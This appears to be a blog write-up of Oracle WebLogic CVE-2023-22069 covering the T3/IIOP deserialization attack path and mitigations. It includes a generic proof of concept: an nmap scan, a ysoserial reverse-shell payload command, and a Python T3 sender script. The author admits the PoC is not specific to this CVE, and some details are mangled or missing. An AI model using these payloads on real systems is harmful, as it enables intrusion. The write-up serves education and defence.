CVE-2023-22069 - Critical Unauthenticated Remote Code Execution in Oracle WebLogic Server Core – How the Exploit Works

Oracle WebLogic Server is the backbone of countless enterprise Java applications. But like all widely deployed software, it sometimes harbors dangerous vulnerabilities. In October 2023, Oracle patched a particularly severe one: CVE-2023-22069. This bug affects core components of Oracle WebLogic Server, impacting versions 12.2.1.4. and 14.1.1.., and allows attackers to take total control of vulnerable servers—without authentication.

Below, I'll break down what this vulnerability is, why it’s so serious, how it’s exploited, and what you can do to protect your systems. All code snippets are simplified for educational purposes.

What is CVE-2023-22069?

CVE-2023-22069 is a vulnerability in the "Core" component of Oracle WebLogic Server, a popular platform for hosting enterprise Java applications. Rated 9.8 out of 10 on CVSS v3.1, this bug is:

Official Oracle Advisory

- Oracle Critical Patch Update Advisory - October 2023
- NIST NVD – CVE-2023-22069

How Does the Exploit Work?

The vulnerable component is exposed via the T3 and IIOP protocols. These are default WebLogic protocols for object serialization and inter-process communication. An attacker can send a specially crafted serialized object via the T3 port (default: 7001) to trigger arbitrary code execution.

No credentials needed: The vulnerability can be exploited without logging in.

- The attack vector is T3/IIOP, ports often left open even on production servers.

Proof of Concept (PoC) – How the Attack Might Look

Suppose an attacker wants to deploy a webshell or open a remote reverse shell.

While Oracle hasn’t released technical details, similar WebLogic vulnerabilities allow sending malicious serialized Java objects. Here’s how a generic exploitation might look:

Step 1: Find the T3 Port

By default, it's 7001, but check for custom values.

nmap -p 7001,7002 <target-ip>

Step 2: Craft a Malicious Payload

Attackers often use tools like ysoserial to create malicious Java objects.

Example CLI to create a reverse shell payload (for demonstration only!)

java -jar ysoserial.jar CommonsCollections1 \
  'bash -c {echo,cG93bmVkIHNoZWxsIGNvbW1hbmQ=}|{base64,-d}|{bash,-i}' > payload.ser

The base64 part is just a placeholder for any command.

Step 3: Send the Payload to the Target WebLogic Server

Below is a Python snippet that opens a connection to the T3 port and sends the malicious serialized object.

import socket

def send_payload(target_ip, port, payload_file):
    with open(payload_file, 'rb') as f:
        payload = f.read()
    s = socket.socket()
    s.connect((target_ip, port))

    # T3 protocol header
    header = b't3 12.2.1.4\nAS:255\nHL:19\n\n'
    s.send(header)
    s.send(payload)
    print("Payload sent!")
    s.close()

send_payload('192.168.56.101', 7001, 'payload.ser')

> 🚨 WARNING: Never test this against systems you do not own. This is for educational and defensive use only.

Step 4: Take Control

If the exploit works, the attacker gets a shell or remote access as the WebLogic process.

Attackers can

- Steal sensitive data from app servers/databases

Destroy or sabotage business apps

Because vulnerability requires no login and little skill, it’s extremely valuable to attackers scanning the internet for unpatched WebLogic servers.

1. Patch IMMEDIATELY

Apply the update from Oracle’s October 2023 Critical Patch Update. This is the only sure fix.

### 2. Limit T3/IIOP Port Exposure

- Block external access to 7001, 7002 and any custom T3/IIOP ports via firewalls.

3. Use WebLogic Security Hardening Guidelines

Refer to Oracle WebLogic Security for default security practices.

4. Monitor Logs, Network Activity

Watch for suspicious T3/IIOP connections, and set up alerts for anomalous Java object deserialization activity.

References

- Oracle CVE-2023-22069 Advisory
- NVD CVE-2023-22069 Entry
- ysoserial – Java Deserialization Exploits

Final Words

CVE-2023-22069 is as serious as it gets for Oracle WebLogic Server. Immediate patching is crucial, but so is reducing your attack surface—even after patching. Learn from this bug: lock down default ports, review what’s exposed, and never delay security updates.

Stay safe! If you need help with patching or hardening WebLogic, consult with your security team or a trusted expert—don’t wait until after an incident.

Timeline

Published on: 10/17/2023 22:15:12 UTC
Last modified on: 10/23/2023 18:19:30 UTC